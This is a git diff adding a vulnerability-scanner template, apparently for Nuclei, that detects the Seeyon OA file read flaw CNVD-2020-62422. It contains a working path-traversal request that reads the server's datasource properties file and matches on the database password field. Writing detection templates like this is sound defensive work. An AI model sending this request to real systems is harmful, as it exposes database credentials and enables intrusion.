diff --git a/vulnerabilities/other/CNVD-2020-62422.yaml b/vulnerabilities/other/CNVD-2020-62422.yaml new file mode 100644 index 0000000000..35b2b5afb8 --- /dev/null +++ b/vulnerabilities/other/CNVD-2020-62422.yaml @@ -0,0 +1,29 @@ +id: CNVD-2020-62422 + +info: + name: seeyon readfile(CNVD-2020-62422) + author: pikpikcu + severity: medium + + # Refrences: https://blog.csdn.net/m0_46257936/article/details/113150699 + +requests: + - method: GET + path: + - "{{BaseURL}}/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "application/x-msdownload" + condition: and + part: header + - type: word + words: + - "ctpDataSource.password" + condition: and + part: body